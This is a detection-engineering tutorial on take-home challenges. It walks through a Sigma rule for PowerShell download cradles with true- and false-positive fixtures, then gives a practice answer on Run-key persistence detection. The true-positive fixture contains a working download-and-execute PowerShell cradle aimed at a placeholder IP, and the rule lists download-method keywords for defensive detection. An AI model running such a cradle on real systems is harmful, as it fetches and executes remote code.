Nailing the Take-Home Challenge — Structure, Depth, and Documentation

A take-home challenge with a great rule and no documentation is like a great algorithm with no tests — it’s half the job.

The Take-Home Evaluation Rubric

Most companies don’t publish their rubric, but experienced interviewers use a consistent mental model:

Category               Weight
Rule correctness       20%   — does it detect the technique?
Rule robustness        25%   — DML level, behavioral invariant, evasion resistance
FP consideration       20%   — are exclusions present and justified?
Testing                20%   — TP + FP fixtures with explanation
Documentation          15%   — clear rationale, assumptions stated, limitations noted

Notice: rule correctness is only 20%. A correct but poorly documented rule with no fixtures scores 20/100. A correct, well-documented rule with thoughtful fixtures and rationale scores 95/100.

Sample Take-Home Prompt

“Write a detection rule for T1059.001 (PowerShell Execution). Include TP and FP test cases. Document your design decisions. Time limit: 72 hours.”

This is deliberately open-ended. Here’s how to approach it:

Step 1: Scope the Technique

T1059.001 is broad — don’t try to detect all PowerShell execution. Identify the most dangerous sub-behavior:

Candidate targets for T1059.001:
  A. PowerShell launched from Office apps (macro execution path)
  B. PowerShell with encoded commands (-EncodedCommand)
  C. PowerShell with downloadstring / invoke-expression (cradle)
  D. PowerShell with -WindowStyle Hidden -NonInteractive (evasion flags)
  E. PowerShell spawned with unusual parent processes

Pick B or C — these are high-signal behaviors with clear invariants.
Selected: PowerShell download cradle — the attacker must invoke
something like (New-Object Net.WebClient).DownloadString() or
IEX (Invoke-Expression). Script Block Logging (Event 4104) captures
the actual script content before execution.

Step 2: Identify the Behavioral Invariant

B. Encoded command:
  Invariant: -EncodedCommand flag must be present in any invocation.
  This IS in the CommandLine field (Sysmon Event 1).
  DML level: L1/DML-4 (host artifact — command line pattern).
  Evaded by: obfuscating the flag name using aliases (-enc, -en, -e).

C. Download cradle via Script Block Logging:
  Invariant: the deobfuscated script content is logged by PowerShell
  itself in Event 4104. The keywords 'DownloadString', 'WebClient',
  'Invoke-Expression' must appear in the script content.
  DML level: L3/DML-6 (tactic — downloading and executing content).
  Evaded by: using different methods (Invoke-RestMethod, curl, BITSAdmin).
  Still requires PowerShell to log the deobfuscated content — Script
  Block Logging captures the actual executed code, not the obfuscated
  version.

Decision: Target Script Block Logging (Event 4104) — higher DML, requires
attacker to avoid PowerShell execution altogether to evade.

Step 3: Write the Sigma Rule

title: PowerShell Download Cradle via Script Block Logging
id: a1b2c3d4-e5f6-7890-abcd-ef1234567890
status: experimental
description: |
  Detects PowerShell download-and-execute behavior via Script Block Logging
  (Event 4104). Targets deobfuscated script content for download cradle
  patterns. Derived from the behavioral invariant: any download cradle must
  invoke a network retrieval method whose name appears in the deobfuscated
  script block, regardless of input obfuscation.
references:
  - https://attack.mitre.org/techniques/T1059/001/
author: take-home-submission
date: 2026/05/20
tags:
  - attack.execution
  - attack.t1059.001
logsource:
  product: windows
  service: powershell
  definition: Script Block Logging must be enabled (HKLM\...\ScriptBlockLogging\EnableScriptBlockLogging = 1)
detection:
  selection:
    EventID: 4104   # Script Block Logging
    ScriptBlockText|contains:
      - 'DownloadString'
      - 'DownloadFile'
      - 'WebClient'
      - 'Invoke-WebRequest'
      - 'iwr '
  filter_legitimate_admin:
    Path|startswith:
      - 'C:\Windows\System32\WindowsPowerShell\v1.0\Modules\'
      - 'C:\Program Files\WindowsPowerShell\Modules\'
  condition: selection and not filter_legitimate_admin
falsepositives:
  - IT automation scripts that download configuration files or software
  - Software deployment tools (SCCM, Chocolatey) using PowerShell download
  - Security tools that use PowerShell download for updates
level: medium
fields:
  - ComputerName
  - UserName
  - ScriptBlockText
  - Path

Step 4: Write Fixtures

TP fixture (from Atomic Red Team T1059.001 test):

[{
  "EventID": 4104,
  "ScriptBlockText": "IEX (New-Object Net.WebClient).DownloadString('http://203.0.113.42/stage2.ps1')",
  "Path": "",
  "UserName": "CORP\\jdoe",
  "ComputerName": "ws-dev-04",
  "TimeCreated": "2026-05-18T02:14:23Z",
  "_comment": "Atomic Red Team T1059.001 test executed on isolated lab machine"
}]

FP fixture (SCCM deployment script):

[{
  "EventID": 4104,
  "ScriptBlockText": "(New-Object Net.WebClient).DownloadFile('https://internal-repo.corp.com/software/agent.msi', 'C:\\Temp\\agent.msi')",
  "Path": "C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\Modules\\SCCM\\Deploy-Software.ps1",
  "UserName": "CORP\\svc-sccm",
  "ComputerName": "ws-prod-01",
  "TimeCreated": "2026-05-17T08:00:00Z",
  "_comment": "Known-legitimate SCCM deployment — excluded via Path filter for Modules\\ directory"
}]

Step 5: Document Limitations

## Limitations

1. **Telemetry requirement**: Script Block Logging (Event 4104) must be enabled.
   Requires registry key: HKLM\SOFTWARE\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging\EnableScriptBlockLogging = 1
   Without this, no events are generated. Verify before relying on this rule.

2. **DML level**: DML-6 for the download cradle (tactic-level), but DML-4 for 
   specific method names — evaded by using PowerShell 7 WebRequest module methods
   or Invoke-RestMethod (not in current selection list, should be added).

3. **FP rate**: Medium — deployment tools are the primary FP source. The Path 
   exclusion covers documented module paths, but ad-hoc scripts run from desktop 
   may match and require analyst triage. Recommend: add user context enrichment 
   (is this a service account? admin workstation?) to reduce triage burden.

4. **Higher-DML complement**: At DML-7, detect the network connection itself — 
   PowerShell.exe making a DNS query or TCP connection to a non-internal IP 
   (Sysmon Event 3). This would catch download cradles that use alternative 
   download methods and cannot be evaded without avoiding network access entirely.

Submission Checklist

Before submitting a take-home, verify:

□ Rule is syntactically valid Sigma (run sigma check if possible)
□ Detection rationale explains the behavioral invariant chosen
□ TP fixture is present with source documented (Atomic test, real data, synthetic)
□ FP fixture is present with explanation of why it's legitimate and how it's excluded
□ Limitations section explains: what telemetry is required, what the rule misses, 
  and what a higher-DML version would look like
□ All claims in the documentation are defensible under follow-up questioning

Retrieval Practice

You're given a take-home: 'Detect T1547.001 (Boot or Logon Autostart: Registry Run Keys) in a Windows environment.' Write the detection rationale section before writing any rule.

Reveal answer

Detection rationale: T1547.001 targets attacker persistence via Windows Registry Run keys — the attacker writes a value to HKCU\Software\Microsoft\Windows\CurrentVersion\Run or HKLM equivalent, causing their payload to execute at user logon. Behavioral invariant: any persistence via Run keys requires a registry write to one of ~12 known Run key paths (Sysmon Event 13: RegistryValueSet). This is DML-4 to DML-5 (host artifact targeting the specific registry paths + key name). The invariant is the registry write, not the specific value written, making this more robust than command-line-based detections. Telemetry assumption: Sysmon deployed with registry monitoring configured (Event 13, targeting Run key hives). Alternative higher-DML approach: monitor for new processes that match the values in Run keys at next logon (Sysmon Event 1, parent: userinit.exe/winlogon.exe, with no prior instance history) — this catches persistence use regardless of whether the write was monitored. FP consideration: many legitimate programs (Slack, Teams, antivirus, updaters) write to Run keys during installation. Exclusion strategy: allowlist by value path (exclude C:\Program Files\* values from known-legitimate software installers) rather than excluding the key entirely — installation events from known-software paths are acceptable FPs; values pointing to AppData\Local\Temp or user-writable paths are high-confidence TP signals.